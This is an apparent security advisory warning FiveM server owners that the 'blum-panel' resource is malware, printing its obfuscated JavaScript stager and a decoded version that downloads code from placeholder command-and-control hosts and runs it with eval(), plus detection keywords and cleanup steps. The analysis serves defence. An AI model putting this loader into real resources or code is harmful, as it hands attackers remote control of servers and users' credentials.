TL;DR: blum-panel.me advertises itself as a “FiveM control panel”, but it is malware. Resources tied to it contain an obfuscated JavaScript loader that, ~20 seconds after start, downloads code from attacker C2 servers and runs it with eval() — full remote code execution on your server host. Do not install it. If you already did, treat the machine as compromised.
What the obfuscated stager looks like (encoded, XOR-3 + char-code obfuscation):
(_,h)=>String.fromCharCode(parseInt(h,16))).split('').map(c=>String.fromCharCode(c.charCodeAt(0)^3)).join(''));
v="pfwJnnfgjbwf++ ... ~ 8" // long obfuscated blob
Decoded statically (NOT executed — just XOR each char with 3):
setImmediate(() => {
setTimeout(() => {
const __THREAD_NAME = "miaus"; // attacker handle "miauss"
const resourceName = GetCurrentResourceName(); // FiveM/CitizenFX API
if (typeof globalThis.GlobalState === "undefined") globalThis.GlobalState = {};
const currentOwner = globalThis.GlobalState[__THREAD_NAME];
if (!currentOwner || currentOwner === resourceName) {
globalThis.GlobalState[__THREAD_NAME] = resourceName;
on("onResourceStop", s => { if (s === resourceName) delete globalThis.GlobalState[__THREAD_NAME]; });
try {
require("https").get(`https://<c2-host>/zXeAHjj`, r => { // C2 #1
let d=''; r.on('data', c => d+=c);
r.on('end', () => {
try { eval(d); } // <-- remote code execution
catch {
require("https").get(`https://<c2-host>/zXeAHjjgg`, r2 => { /* ... eval(d2) ... */ }); // C2 #2
// final fallback: require("https").get(`https://<c2-host>/...fxre`, r3 => eval(d3)); // C2 #3
}
});
});
} catch (e) { /* fallback URL -> eval */ }
}
}, 20000);
});
What it does:
- Disguises itself as a normal FiveM resource (
GetCurrentResourceName,onResourceStop). - After a 20-second delay, pulls JavaScript from attacker-controlled hosts and runs it via
eval(). - Uses 3 staged fallback URLs for resilience.
- The nachgeladene payload is what actually steals data (browser saved logins, Discord tokens, files) and can run OS commands via FiveM’s
os.execute/ RDP.
How to check your resources:
- Search every resource for suspicious dynamic execution:
- JS:
eval(,new Function(,require("https").get,setImmediate,String.fromCharCode,charCodeAt, long hex/\u00xxblobs. - Lua:
load(,loadstring(,os.execute,PerformHttpRequestpointing to unknown domains.
- JS:
- Watch for a hardcoded thread/marker name like
miaus/miaussand unfamiliar outbound HTTPS hosts.
If you find it:
- Stop and delete the resource immediately.
- Treat the host as compromised — the loader may already have pulled a second stage.
- Block the C2 domains at the firewall.
- Rotate all credentials from a clean device (Discord, Steam, Google, banking, server/RCON, txAdmin, database).
References:
- GitHub deobfuscation + detection scanner:
github.com/ImJer/blum-panel-fivem-backdoor-analysis - 5mservers guide:
5mservers.com/guides/fivem-blum-panel-attack - vx-underground reverse-engineering thread (X / Twitter)
*Stay safe — never install “panels” or “tools” that ask you to drop a resource with obfuscated JS/Lua.
